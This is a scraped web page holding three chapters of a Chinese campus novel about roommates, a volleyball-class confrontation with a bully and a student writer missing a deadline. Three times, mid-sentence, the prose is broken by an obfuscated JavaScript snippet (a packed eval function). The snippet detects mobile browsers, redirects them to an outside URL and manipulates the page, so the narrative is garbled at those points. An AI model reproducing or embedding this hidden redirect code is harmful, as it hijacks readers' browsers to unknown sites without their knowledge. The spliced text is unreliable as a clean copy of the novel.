我们的第一个节假日以热闹开端,却以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027220|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不欢而散收尾。很久之后,李离再次向我提起这个圣诞节,留在我记忆里的只剩下真心话大冒险和那张触目惊心的警告条。 平时热衷于活跃气氛的刘小叶,收敛了以八卦逗乐的心思,默默看少女漫画。 许苑薇战战兢兢、如履薄冰。她跟郑筱说话,大多数时候郑筱置若罔闻,最多回一个字,要么“嗯”,要么“不”,许苑薇难受极了。 凌静宜一如既往不当回事,仍然按照她自己的日程,朝出夜归。 陈梦晓后来认为是我们杞人忧天,天下没有那么多阴谋诡计,肯定是书店为了推卸责任不肯承认。 倒是李离,忧心忡忡,若有所思,问我是不是每个宿舍都会有人不招人喜欢,同时,她对郑筱报以高度的关注和同情。 许苑薇跑到我们房间,恰好陈梦晓来跟我借微观经济学笔记,她哭丧着脸,问我们能不能想办法跟郑筱和解。 其实我私下去找过郑筱,她不搭理我,丢下一句“践踏别人自尊很有趣是吗”就扭头走了,压根不给我机会。 许苑薇提议让凌静宜去跟郑筱道歉,被陈梦晓一句“你觉得可能吗”堵得哑口无言。 这件事情对郑筱来说算是无妄之灾,可我其实不觉得凌静宜有错。她不过是合理询问,郑筱多少有点玻璃心了。郑筱跟我们的矛盾就跟那件悬案一样,是个死局。破局只能看郑筱愿不愿意给我们根竿子,让我们顺着爬下来。 抛开这件小破事,对于李离来说,这个假期算是完美。可惜,快乐的时光总是很容易消逝,转眼周末过完了,周三李离有小班必修课,我给她买了周二的机票。 短视是人类的本能,人总对近在眼前的事情过分关注,而对过去的事情很快遗忘。我抛开恐惧和不快,翘了周一的课,沉浸在跟李离一起打卡网红甜品店和主题公园的快乐里。李离心满意足,表示不虚此行,她挤眉弄眼强烈要求我慎重考虑一下接受萧楠的追求。 我没搭理她。她跟刘小叶一个德性,只要给点火花,她们就能燃烧整个世界。 托凌静宜绯闻男友的福,这一次我们提前两个半小时到了T2航站楼。李离心不在焉,先是办登机牌的时候把学生证当做了身份证,后来值机柜台小姐提醒她箱子需要托运,她把自己的手袋放到了行李传送带上。 我问她怎么了,她只是说没事。 挥手告别,看着李离往闸机走去,我有点失落,但没有自己想象中那么不舍。 我朝出口方向走去,准备打电话给刘小叶,突然有人从背后抱住了我,脖子里有凉凉的液体滚过去。 汗毛直立,又被人错认成女朋友了?!我准备反手给他一个大逼兜,李离闷闷的声音在我耳边,“我没事,就是舍不得你。”她把头压在我的脖颈里,又一阵冰凉。 “欸?最多还有两个月就放寒假了,我们回家了还能见面呢。”我想转过身安慰她。 她双手紧紧搂着我的脖子,拖着哭腔,“小西,你别回头。我怕你一回头,我就走不了。” 过了一会儿,她的手松开了。我转过身,她的眼圈泛着红,一抹泪眼,转身飞奔进了闸机。 她的背影湮没在人群里,我重新往外走。手机响了一声,弹出微信消息:小西,你是我最好最好的朋友,永远都是! 我们之间以前没有这种所谓的比较,因为她是我唯一的朋友。可现在,她不再是唯一,“不是唯一”自然会产生排序产生比较。如果说爱情是独占性和排他性的,那么友情呢?在友情的世界里,我们是否能够对朋友一视同仁,不偏不倚? “我平等地不喜欢闺蜜的任何一任男朋友。”一张清冷的面孔清清楚楚把这句话写在脸上,在我脑子里一闪而过。 或许是我迟钝,在很久之后,我才领悟到,其实友情跟爱情是异曲同工的一种情感,有嫉妒,有排他性,只是因为名不正言不顺,吃醋在友情中显得很奇怪。爱情在一定程度上分散了友情的注意力——出现了一个异性而非同性分去了好朋友的关注。就算不甘,那个占据伴侣位置的人,“名正言顺”,友情拿什么跟爱情争呢?世界默认爱情的排他性和独占性,就算你觉得自己的好朋友脑子里进水才会看上那个男的,可你无计可施。 送走李离,我本想打个车回学校。可是,我的人设会不会崩塌?从我们学校打车到机场,差不多两百块。叹了口气,我认命地坐机场巴士,到市区再换一趟公交车,盛惠十六元,耗时两个半小时。 我再一次深刻体会到,当金钱和时间发生冲突矛盾的时候,每个人的选择取决于哪一样对她/他而言更稀缺。对穷人来说,时间是最早被牺牲的;而对富人来说,时间是最宝贵的。 时间看上去公允,可实际上,并非如此。因为所拥有的资源不同,使用它的方式并不相同,而这加深了时间价值的割裂。越认为时间值钱的那些人,时间越来越值钱;而认为时间无用,无所事事挥霍的人,他们的时间价值越来越低。循环往复。构成了时间的冗余和匮乏,时间黑洞由此形成,有些人身处现在,已达未来;而有些人困在过去,日复一日成为时间的囚徒。 46.第 46 章 凌静宜完全不理别人的眼光,她严格执行跟叶翔的约会日程表:每个星期的周二中午和叶翔一起吃午饭,周四下午和周六约会。 这个约会安排表,是基于凌静宜严格的日程表来制定的。她居然一周能抽出三天来约会,刘小叶表示叶翔这个绯闻男友的分量不轻。 周日,他们还会见面,不过根据凌静宜的说法,是基于对下周约会和一些必要性工作的安排。至于什么是必要性工作,就算她跟我面对面详细解释,我应该也无法理解。对于约会,我的基本概念是吃饭、看电影和逛街,非常无聊,明明一个人就可以做的事情,还得迁就另一个人的时间和安排。 刘小叶非常好奇他们俩是怎么相处,拉着我们私下八卦他们在一起的细节,她一直意淫他们俩早已暗渡陈仓。以刘小叶天马行空的想象力和深究到底的学术精神,不当编剧真是可惜了。 “你真的知道暗渡陈仓是什么意思吗?”许苑薇刚刚去配了副新眼镜,无边框的,说是今年流行的新款式。 我们不置可否,眼镜这东西,再怎么创新也就那样,又不能搞四块镜片。 “这有什么难的?不就是凌静宜瞒着我们已经跟叶翔好上了呗。”她突然压低声音,生怕凌静宜突然从外面回来,“你们说他们有没有接吻啊?” “你自己去问呀!”陈梦晓向上抛苹果,刘小叶抱住了头,苹果稳稳地落在了陈梦晓手里。 周二晚上,刘小叶终于憋不住了,她装作不经意地问凌静宜约会感受,凌静宜无比厌倦地说:“别提了,我就像找了份兼职,朝九晚六,向死而生。不过最近有人想收购他们公司,他马上要跟我一样忙得脚不着地了。否则,我考虑修改约会日程表。” 叶翔没有告诉凌静宜,想收购他们公司的是Monster Cone。简瑞洺和他研究了对方的收购条件后达成一致,坚决抵抗陈东尔的收购。 “哪有这么好的工作?天天对着帅哥,还不用花钱……你要是不乐意,一堆妹子虎视眈眈,想要竞争上岗呢。”刘小叶对凌静宜这种身在福中不知福的举动非常愤慨。 凌静宜不置可否地耸了耸肩。 “这就叫做恃宠而骄……”路过的陈梦晓一阵见血直指本质。 “这个话题可以打住了。”凌静宜翻着那叠如天书一般的材料,进入工作状态。 我收到了一个包裹,没有寄件人,也没有留下任何信息。一个正方形的盒子里装着一个建筑模型,旁边放着一张W大的明信片。除了认识萧楠之外,我不认识W大的人。难道是送花那天拿不了这盒子?这个圣诞礼物挺离奇。为什么送建筑模型呢?我依稀记得,他是读设计的,勉强能跟建筑搭边吧。随手放在书桌底下,等找时间还给他。 运动会、圣诞节、新年、期末考,一件件仿佛走马灯一样轮番上场。 周三跑完操,有人说校园网上公布了放假时间,我们去第二食堂买了早饭回宿舍查询。今年的农历年是在二月初,我们从1月21日开始放假,直到2月24日返校,长达一个月的寒假。没有寒假作业。听上去很让人心动。然而一同公布的还有考试时间。从1月6号到1月20号,两周的期末考。这也就意味着圣诞节是我们的最后一个狂欢日,除非做好了挂科的准备,否则接下来的两周我们都得好好复习。 国际经济与贸易系一共有六门考试。 刘小叶上蹿下跳着哀嚎:“平均两天考一门,还让不让人过新年了!” 许苑薇在整理笔记,她推了一下黑框眼镜,说:“我们平均一天半考一门,第一门还在1月6号上午,都不知道来不来及复习。” 刘小叶吐了下舌头,金融系比我们还多考三门。 凌静宜已经收拾好了她的LV包,她问:“我去咖啡馆,有人一起吗?” “不会吧?连你都要复习?”刘小叶哭丧着脸,“期末考试不会比高考还难吧?” “平时月考你都怎么过来的?”凌静宜像看怪物一样看着她,“况且就那么些知识点,一星期不就够了。” “整个学期那么多门课,月考哪能覆盖整个学期的知识点!”刘小叶可怜巴巴地问:“你们说,最后一节课,老师会不会划重点?” “我也第一次上大学。”许苑薇一本正经地回答。 “祝你好运。” 凌静宜穿着A.P.C的新款裙子,化着精致的妆容,踩着7公分的高跟鞋摇曳生姿。她周一刚刚染了头发,咖啡色,一拉开门,阳光照在她的头发上泛出柔和的月晕光芒。 临近考试,我们没有任何放纵的借口。宿舍教室食堂三点一线,生活乏味得跟修道一样。吃饭用饭卡,去图书馆刷学生卡,没有任何需要花钱的地方。 上次我妈特意打电话问我,为什么最近我没有任何刷卡记录,似乎这个问题比我期末能考多少分还重要。当然,我自己也不真的关心自己期末能考多少分。 对我而言,眼下比考试复习让我头疼的是即将到来的排球课。 周二下午送完李离回到学校,我跟着小陈哥集训。做完4组波比跳和8组深蹲跳,我已经瘫成一团软泥了,接着小陈哥陪我练了整整两小时的排球,我累得手都抬不起来。原本以为周三会继续魔鬼训练,小陈哥冲我笑了笑,“开什么玩笑,明天你能动弹再说吧。” 果然,周三整一天,我浑身酸疼,跟僵尸一样进行四肢驯化。 早晨睁开眼,我心有余悸抬胳膊,还行,不那么酸胀了。 她们几个在讨论去哪儿复习。 凌静宜有点烦躁,“今天星期四,我约了叶翔。” “啊哦,那我们就不去当电灯泡了。”刘小叶挤眉弄眼地揶揄,“约会愉快!” 凌静宜没搭理她,拎着包出去了。 刘小叶看看我,又看看陈梦晓,一副不相信的表情,“刚刚她没怼我?你们说,他们俩会不会真的在一起啦?” “你想太多了。”陈梦晓蹬了一下腿,轻松地倒立贴在墙上,说:“要是他俩在一起,我就请你吃哈根达斯,两个球。” 刘小叶冲到墙边,歪着头对陈梦晓说:“小陈哥,你可不能骗我。”接着她转过头来喊:“小西,你作证!” “许许,你也听见了吧?!”她左手勾着我,右手勾着许苑薇,昂着头说:“小陈哥,输了可不许抵赖。” 我没心思参与他们的打赌,胳膊不酸了,可我的胃痉挛,想吐。逼迫自己集中精神,在脑子里把小陈哥教的手法步法过了一遍。 尽管我抗拒,排球课还是如期而至。 磨磨蹭蹭换好运动服,在上课铃声响了之后才匆匆忙忙进入排球场。队列早已排好了,我顺势站在最右边。一般来说,都是临近的学生两两结对练习。 “老师,我上次是跟周小西一起练习的。我能申请跟她结对吗?”庄子羽举起手,万分真诚地望着体育老师。 “原则上不指定搭档,你们自己商量,搭档愿意换的话就可以。” “谢谢老师。” 体育老师让每一排的排头跟他去拎排球。 庄子羽走到我这次搭档的女生面前,也不说话,只盯着她。 双马尾和四眼妹一左一右,把她夹在中间。双马尾两手交叉抱在胸前,“知道该怎么做吧。” 那个瘦小的女生用右手食指托了下眼镜,怯懦地看我一眼,又看了庄子羽一眼,低下头,向双马尾挪了过去。 庄子羽笑得十分嚣张,“周小西,我们又见面了哦。” 她故意向左向右看了看,“今天……只有你一个人吗?看来,没人能帮你了哦。” 我冷冷地看着她,周身泛起细密的刺痛感——上次被排球砸出来的瘀伤一个多星期才消下去。 “别废话。谁修理谁,还不一定呢!” “哎呦,识别三日当刮目相看?我倒是要看看,是嘴硬呢,还是骨头硬。” 两个高个子女生一左一右拎着一筐排球,还没走到排球场中央,就有人从筐里拿了两个排球,右手一扬,排球飞出去,被另一个人接住,在手指顶转起来。居然是凌静宜和陈梦晓! 庄子羽看到凌静宜的那一刻,脸色瞬间变得煞白。 十几个女生朝着我们这片排球场走过来,刘小叶跟在后面跑得呼哧呼哧的。 我呆愣了片刻,凌静宜不是出门跟叶翔约会了吗?陈梦晓和刘小叶不是今天下午有课吗?她们这是翘课跑来陪我上体育课? 刘小叶一路小跑到我旁边,“小西,惊不惊喜,意不意外?” 对我是惊喜,对庄子羽是惊吓。 “老师,她们不是我们班的同学!”她强装镇定,向老师告发。 “今天秦老师请假了,两个班一起上课。分成小组打对抗赛,一组四人。”体育老师看了看她,“这位同学有意见吗?” 她嘴唇翕动,“没……没意见。” 我们这边刚好四个人。庄子羽、马尾辫、四眼妹和我的前搭档组成了一组。 庄子羽大概怕了,站在了最远的发球位上,从技术上来说,位于最远位置的发球位是最难被攻击的对象。前搭档在二号位,马尾辫和四眼妹分别站三四号位。 凌静宜挑衅似的冲她笑了笑。 比赛开始,我们取得首发优势,陈梦晓发球。 陈梦晓把球抛向空中,起跳,在球刚落下三分之一不到就击排球正中,排球重重地砸在庄子羽前胸,她一个踉跄,球落地。 球由二号位传回到我们这边。 陈梦晓发动了第二轮进攻,跳起扣球,球直直地越网飞过去,砸得庄子羽眼冒金星。球滚到界外,我们继续得分。 庄子羽捂着胸口,低声吼了一声:“你们俩是死人啊?!” 马尾辫和四眼妹刚准备向中间靠拢,体育老师不知道怎么看到我们这边,“注意队形,三角不要乱……三四号位靠二号位那么近,怎么防守?”她俩只好讪讪回到原位。 从头到尾,凌静宜和陈梦晓就没让对方拿到过发球权,这不能算是较量,完全是我们单方面对庄子羽的剿杀。 她刚准备向老师申请“暂停”,一记球又飞到她面前,她往下一跪,躲过了这一球。 至于刘小叶,完全是来凑数的。我还能接几个球,她连跳起来接球都不愿意,象征性地在抬手够得着的范围接传球。 陈梦晓体能太好了,这一场球下来,比分遥遥领先,15:3。对方拿到的3分完全是因为二号位给予了几次有效的接球和反攻。马尾辫和四眼妹配合接到了我或者刘小叶的不给力传球。 双方交换场地,凌静宜站一号位发球,陈梦晓站二号位。她俩互换了位置。 庄子羽换到了三号位上,大概是从发球轨迹上来说,那个位置避免挨砸的概率低。 凌静宜直接发球得分。 庄子羽松了一口气,看来只要不是陈梦晓,她就是安全的。她身上到处都疼,陈梦晓发的球均匀地砸在她的前胸,胳膊和腿上。 没想到,凌静宜弹起,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029050|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空中旋转身体,第二个球直直砸向了她。 接下来的球更让庄子羽摸不着头脑,凌静宜看上去就像是来好好来比赛的,双方比分一直均衡地来回咬住,但在两三个球里,总有一个球会砸在庄子羽身上。 庄子羽精神高度紧张,她提心吊胆,关注每一个球的走势。 凌静宜举手请示我们这组要换位,她经过我身边时,压低声音说:“别考虑得分,给她点颜色看看。让她们追平比分。” 陈梦晓探身过来,“记得我怎么教你打的吧。盯准目标,起跳,击球!” 我站在二号位,屏气凝神,起跳,狠狠地拍在球上。嘭的一声,重重砸在庄子羽胳膊上。她挥手,球落在我们界内。对方得分 庄子羽疼得龇牙咧嘴,可她有苦难言。我们避开了要害部位,大家技术都不好,失准很正常。 比分到达15:14,按照比赛规则,先到达15分的队伍获胜,但必须领先对方2分才能结束比赛。 换凌静宜到发球位。比赛继续。 打平。 16:15。 16平。 17:16。 17平。 庄子羽在这些来来回回追平比分的过程中,又挨了几球。她终于想明白了,凌静宜这是持久战打法,看起来好像陈梦晓那种淋漓尽致的打法凶猛,实际上,在这一场换人发球后,她比上一场多挨了好几球。 她及时叫了暂停。 最后一记球重重地砸在她胸口,她感觉呼吸一窒,差点没倒下去。 体育老师吹哨。第二轮比赛以19:17结束。 下课了。 这场打着“友谊第一,比赛第二”的练习赛结束了,庄子羽也快被砸晕了。凌静宜走过她身边,扬起头压低声音说:“如果我是你,会好好想想,哪些人不该惹。” “顺便说一句,拿海绵垫出来的飞机场,也还是飞机场!”刘小叶毫不客气补上了一刀。 庄子羽的脸变得支离破碎,她眼神里扫射出怨恨的光芒如果是杀人的毒液,我们大概已经死了好几次了。 她从我身边走过,狠狠地瞪了我一眼,“周小西,算你狠!” 刘小叶从我的右边小碎步移到了左边,叉着腰站我前面。 马尾辫和四眼妹灰溜溜地跟着庄子羽走了过去。 “嘿,今天好过瘾,你没看庄子羽那张脸臭的。”刘小叶眉飞色舞地在宿舍向许苑薇宣传我们今天这场比赛。 许苑薇声音发着颤,“她不会打击报复我们吧?” 凌静宜很不屑地拨了拨头发,“她要是敢就试试看,我还真想知道遭到打击报复是什么滋味。” 她不满地对陈梦晓说:“战略战术!一上来就给她打懵了,还玩什么呀?要让她一直提心吊胆,不知道什么时候球会砸到自己身上,让她一直感觉恐惧才更有趣。你一顿狂轰乱炸,差点打乱我的安排。” 陈梦晓不以为意,她耸耸肩,“玩那么多花样干什么,直接打趴下就完了。” “莽夫……”凌静宜给了她一个白眼。 批评完陈梦晓,凌静宜的火力开始集中向我喷射,“周小西,我是该说你没用呢,还是该说你不把我们当姐妹呢?” 刘小叶在旁边打圆场,“哎呀,小宜宜,你就别说小西了。她被庄子羽欺负就已经够惨了。庄子羽那个疯女人可凶了,上次在食堂,要不是叶翔他们帮忙,我们准挨打了。” 凌静宜一听火更大了,“你怎么不早说!今天下手轻了。” 陈梦晓意味深长地回了她一句,“第二场也应该我发球。” “你们是怎么知道的?”我极力克制,不然眼泪要出来了。 “你那么不爱运动,上周跟着我练体能,周二疯狂练排球,当我傻啊?”陈梦晓吐槽。 “你不是约会去了吗?”我的声音里藏着哽咽,凌静宜明明打扮得花枝招展,中午都没跟我们一起吃饭就走了。 “谁说不是呢?害得我半路跑回来换运动服。”凌静宜嫌弃地看了看陈梦晓,“运动服难看死了!你想想看,怎么补偿我吧。” “那不是因为你没有运动服。早知道不借给你了!”陈梦晓瘫在沙发上,又在抛接球状物体。 凌静宜扬着头,“下次请你们打网球,让你看看什么叫好看的运动服。” 刘小叶问了一个关键问题,“我们下次课还去吗?” 许苑薇说:“下周四金融系考高数……” “她聪明的话应该不会再去上排球课了。”陈梦晓说。 “可是排球课有2个学分呢,下周考试了吧?”刘小叶分析得头头是道,“如果她不去考试,体育分就修不满了。我觉得她会去的。” 凌静宜不以为意,“去就去呗,我不信她还敢作妖。就算去了,肯定也会躲着周小西。” “万一她真使坏怎么办?比如用手段让小西不及格。”刘小叶担心。 “放心,她不敢。山人自有妙计。”陈梦晓接住了直直砸向她额头的球体,原来是个垒球。 刘小叶好奇地追问:“到底是什么办法,小陈哥,你别卖关子嘛!” “下节课不就知道了。” 凌静宜和陈梦晓对视一笑,随即一个去洗澡,另一个埋头读书,刘小叶抓耳挠腮苦思冥想。 许苑薇倒没那么好奇,她回房复习了。 肌肉酸痛卷土重来。 我躺在床上,感动如海浪汹涌,一浪高过一浪。 47.第 47 章 人生果然是九九八十一难,过了一关还有一关。 我忘记了昨天是交稿日,而我的小说以龟速在更新。 事实上,我快一个星期写不出东西了。以前那些文字像是自己会从脑子里蹦出来,我似乎只是它们的载体或宿主,它们自有秩序进行排列组合,以最得体的姿态出现在电脑屏幕上。可眼下,我坐在那里两三个钟头,只能写出一个手指都能数得出的字数。枯坐一整天,好不容易写出几百字,重读时忍不住骂自己写的是什么狗屎。可要一股脑删掉,我又下不去手,只能挑挑拣拣:这几句写得还行;这一句改一改还能用……我就像一个骤然破产的家伙,怀里只有一个馒头,却忍不住怀念以前的珍馐美味。 一个字一个字删除,只剩下一百多字还能用,我终于疲惫不堪地合上了电脑,把自己重重摔在床上,去他大爷的截稿时间。 对于美的正确追求是基于对世界最本源的理解。一千个人有一千个哈姆雷特,可前提是,得先有一个哈姆雷特。作为陆星铭存在的我,正在奋力构建我心目中的哈姆雷特。可眼下,他卡住了。 我躺在床上,睁着眼睛,望向外面黑漆漆的天空,一颗星星也没有。究竟是今晚没有星星,还是因为从我的位置看不见星星呢?感觉胸口上像压着块巨石头,闷闷的。我合上眼睛,希望自己能很快睡着。闭上眼睛之后,各种声响更清楚了,我听到外面墙上的钟咔嚓咔嚓的声音,脑子里全是时针和分针沿着刻度一格一格爬过去的样子。 烦躁地翻了个身,变换各种姿势,我试图找到一个能让自己入睡的姿势。可是,外面的钟敲打了三下,我仍然醒着。 我无奈地睁开眼睛,望着窗户外面随着一分一秒过去岿然不动地隐在黑暗里,远处的树木在空旷寂寞的操场后面探头探脑,渐渐现出轮廓,树木的上方飘着一层苍白的岚雾。 微信消息的提示音在安静的房间里异常响亮。我点开了看,是萧楠。大半夜还没睡的人,竟然不止我一个。 ——你大概早就睡了吧? ——我睡不着,满脑子都是你的样子。 夜晚让人格外敏感,出于深夜失眠的惺惺相惜,我对他有一丝同情。 不是,周小西,你是不是有病?!还是小说写多了,脑子坏掉了?!这莫名其妙的怜悯是什么鬼?我在心里狠狠地咒骂自己。但这种深夜电子小纸条,让我有一种同是天涯沦落人的莫名感叹。 叮咚,又是一条微信。 ——我喜欢你,从高三开始。 紧接着又是几条。 ——如果我说我比你想象的要了解你,你或许不信。 ——不管你怎么想,我不会放弃追求你。 ——希望你做个好梦。 ——希望我在梦里能看到你笑。 我的汗毛和鸡皮疙瘩都在向他的文字致敬。作为一个作者,我从来不知道这些浅白的文字如此肉麻。或许对一个陷在痴迷里的人来说,任何肉麻的字眼都稀疏平常。 我准备把手机丢在一边,微信又响了。 ——你笑起来真好看。 脑袋嗡嗡响着,我烦躁地关掉提示音,把手机塞回枕头下面。 拉了拉被子,平时觉得很暖和的被窝眼下有些冷。我的上半截身体燥热,蜷缩着的腿冰凉,仿佛这具身体以腰为界上下分属不同季节。 天渐渐亮了,光线穿过寒冷的空气宣告光明即将掌握主导权。外面雾蒙蒙的一片惨白,偶尔几声树枝折断的声音,有工人去建筑工地干活儿了。 我叹了口气,从床上爬起来,去卫生间洗澡。把水温调高,用热水一直对着脚冲洗,大概五分钟后,像冰冻虾条一样麻木的双脚有了知觉。 擦掉镜子上的水汽时,我差点没惊叫出声——额头上冒着两颗又红又亮的痘痘,黑眼圈快掉到了苹果肌上,黯淡无光的脸色憔悴得像个老太婆。这一切让我心情非常不好。 我从卫生间出来,凌静宜正好拉开房间门走出来。 显然,她已经完成了繁复的护肤流程,只是没化妆(以前她从不以素颜在我们面前出现,最近她一直鄙视自己的堕落),她的皮肤在冬天灰蒙蒙的光线下泛着鸡蛋白的光泽,跟我形成了鲜明的对比。如果说我以前对自惭形秽这个词从未有过感同身受的体会,那在这一刻,它牢牢地刻在了我的脑海里。以至于后来我总是以她的皮肤状态为参照,检验自己一段时间的保养成果。 她像见了鬼一样打量着我的脸,非常同情地说:“原来平价护肤品的保养效果这么差。”她转身回房间拿出了她的SKII神仙水和娇韵诗精华,全塞给我,“你拿着用吧,我还有好几瓶。” 我咬牙切齿地说:“我只是没睡好而已!” “你是不是大姨妈又来了?脾气这么暴躁。” 她又回去拿了瓶褪黑素给我,“这玩意儿超管用的。” “治姨妈疼?” 她差点把眼珠子整个翻上去,深深吸了一口气,“治失眠。” 我看着她走向洗手间,听见她用轻描淡写地语气问了我一句:“周小西,你说我要不要去纹个美瞳线?我觉得早上起来我的眼睛不够明亮有神。” 听完这句话,我想冲进洗手间掐死她。在一个黑眼圈快要赶上国家一级保护动物的女人面前谈论美瞳线,跟在吃不饱饭的难民面前讨论法国鹅肝有多么美味一样可耻。 我臭着脸回到房间,刘小叶从被窝里伸出了头。她乱得像鸡窝一样的头发也不能掩盖看上去弹性十足胶原蛋白满满的面孔。致命的双重打击。 我打开刚刚凌静宜给的精华,胡乱地涂抹在脸上。打开电脑,准备再垂死挣扎一番。一封邮件弹了出来,邮件标题上三个红色的惊叹号触目惊心,标题同样让人绝望——陆星洺先生,您的截稿时间已过,请速交稿! 顿时,我的脑子里一声响雷炸起。在几年之后,我才渐渐适应了编辑们的追稿节奏,能够脸不红心不跳地人间蒸发。现在,我两腿打颤,舌根发紧,面临人生第一次拖稿慌乱惊恐不知所措。 我猛地关上电脑,刘小叶迷迷糊糊地嘟囔:“打雷了,下雨了,小西,收衣服!” 颓然倒回床上,我用被子蒙住头,耳朵里嗡嗡作响。如果能一觉睡到天荒地老,那就真的阿弥陀佛。 迷迷糊糊之间我睡了过去,可睡得极不踏实,在一个个被追杀的梦里疲于奔命……我挣扎着从梦境里摆脱:一个面目模糊的女人右手举着刀左手吹着喇叭,吹出的乐曲很熟悉。看见我的一瞬间像打了鸡血一样,张牙舞爪地冲向我,上下左右一阵劈砍。勉力睁开眼睛,四处搜寻声响。手机从我左挪右拽的枕头下露出来,正对着左耳。梦中的乐曲难怪熟悉得很,是我的电话铃声! 一个陌生电话号码。怨气值达到顶峰,这些该死的推销电话! “喂,您好,请问您是陆星洺先生吗?”电话那头是个甜美的女声,但此刻在我耳朵里无疑是道催命符。 “你打错了!!”我条件反射立马挂断了电话。在几秒钟内,清醒得淋漓尽致。 电话不依不饶响着,我盯着那个号码,希望自己变成一缕青烟从世界上消失。 刘小叶翻了个身,费力地睁了睁她的眼睛,宣告失败后迷迷糊糊地问:“小西,你怎么不接电话?好吵!” 我含糊其词,“是……垃圾电话。”无比怀念那个连打雷都吵不醒的刘小叶。 “推销电话最讨厌了!!”她用被子蒙住整个头,发出了快窒息一样的声音,“你还不赶紧拉黑!” 我哆嗦着关了手机,坐在床上脑子里一片空白。 外面传来咖啡机和书页翻动的声音,然后是陈梦晓晨跑回来开门的声响。这个早晨,除了她们两个作息时间早于宿舍平均值的人之外,只有我是醒着的。我重新躺下来,不知道自己在等待什么。 其实,我清楚地知道,睡眠不是随心所欲想要就能得到的,但我仍然坚决地,甚至可以说决绝地躺在那里,假装自己会在某个不经意的瞬间睡过去。 高中有一段时间,因为读了一些每天只需睡四小时的 我觉得自己睡得太多,着实有些浪费生命,想着如果自己 可真到了睡不着的时候,才知道失眠是件多么难受的事儿。 比起捉摸不透的睡眠,我更清楚的是,不管是期盼还是抗拒,世界终究会缓慢而坚定地苏醒过来,迎来每一个清晨。用它特有的方式——日升月落,缓慢而坚定地把每一个人从抛入到日常当中去,避无可避。 在焦虑不安当中,我再次从床上爬了起来。反反复复纠结,我终于还是再次打开了电脑,此时刘小叶正忙着检查她要带去思想道德修养课上的漫画书是不是塞进了书包,我下定决心翘课。思修的授课老师是位老太太,她的老花镜每次挂在鼻尖上,像极了樱桃小丸子的奶奶。直到考完试,我们才幡然醒悟,她简直是双枪老太婆那样的人物。刘小叶挨住了高等数学的严刑拷打,却差点在思修上一败涂地。 一封邮件安静地躺在收件箱里,毫无疑问来自《N.Z》。我犹豫了片刻,颤抖着按下鼠标左键。 邮件里写着“陆先生,请你尽快联系我们。您是已经更换了电话号码吗?如果不是,烦请告知您女朋友,请不要拒接我们的电话,也不要拉黑,我们只是想通过她了解下您的创作进度。如果您能回邮件告知您大概能于什么时间交稿,我们将不甚感激。” 我扯着自己的头发,想向那些大文豪请教一个问题:他们在灵感枯竭,遭遇可怕的瓶颈期时,都是怎么度过的?! 当我向刘小叶问出这个问题的时候,我觉得自己大概疯了。 她愉快地扯开辣条包装,含糊不清地回答我:“他们大概会抄袭……哦,不对,应该叫借鉴,借鉴其他作家的作品吧?” 我想翻个白眼直接昏死过去,“抄袭是可耻的。” 她放下了手里的辣条,认真思考了五秒钟,说了一句让我扶着脑袋无力反驳的话:“天下文章一大抄,看你会抄不会抄。” 这是我的错,我怎么能用这种高深的问题去为难一个从来不看任何文学作品,认为少女漫画是极致经典的半文盲呢? “对了,那些作家不还有个特别时髦的做法,叫体验生活吗?古代诗人不是最喜欢去秦淮河岸喝个花酒,马上文思如尿崩。花天酒地说成体验生活,其实不就是他们春心荡漾!”刘小叶突然狐疑地看向我,在我脸上扫来扫去,“哎,你怎么好好地关心起体验生活来了?” 明明是她提的体验生活好不好! 没办法了,只能无中生“友”了,“我有个朋友是写小说的,目前遇到了创作瓶颈。” 她一拍大腿,神神秘秘,快速眨巴着眼睛说:“不然叫个鸭试试?体验生活最重要的是与众不同的体验。” 大概我的表情过于惊悚,刘小叶迅速转换了话题,“你朋友是写什么题材的?校园系列吗?重生还是穿越?霸道总裁爱上我那种老掉牙的小说, 真是让我大开眼界,原来现在网文已经有这么多品种了吗? 她见我沉默不语,突然后退了一步,瞪大双眼,一副难以置信的表情,“卧槽,不会是写小黄文的吧?” 我差点没一口血喷她脸上。再次感叹,刘小叶这想象力,不搞创作实在是浪费天赋。 “想什么呢?!”我拍了她的脑袋一下,“吃早饭去!” 心不在焉地吃完早饭,我的思绪仍然被自己的烂尾文牵扯。尽管刘小叶平时看上去不太靠谱,她却给我提供了新的思路。 回了宿舍,我就在校园BBS上翻看各种各样的帖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032701|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。永远不要低估真实的生活,它们是活生生的素材来源。脱离了真实生活,创作就是无水之源,立于悬崖之上摇摇欲坠。我的生活过于简单,接触到的人和事也不复杂,我一直从过去和阅读中汲取养分,可眼下,它们不能继续帮助我。或者我需要一场旅行?不同的环境或许能刺激我滋生出新的灵感。 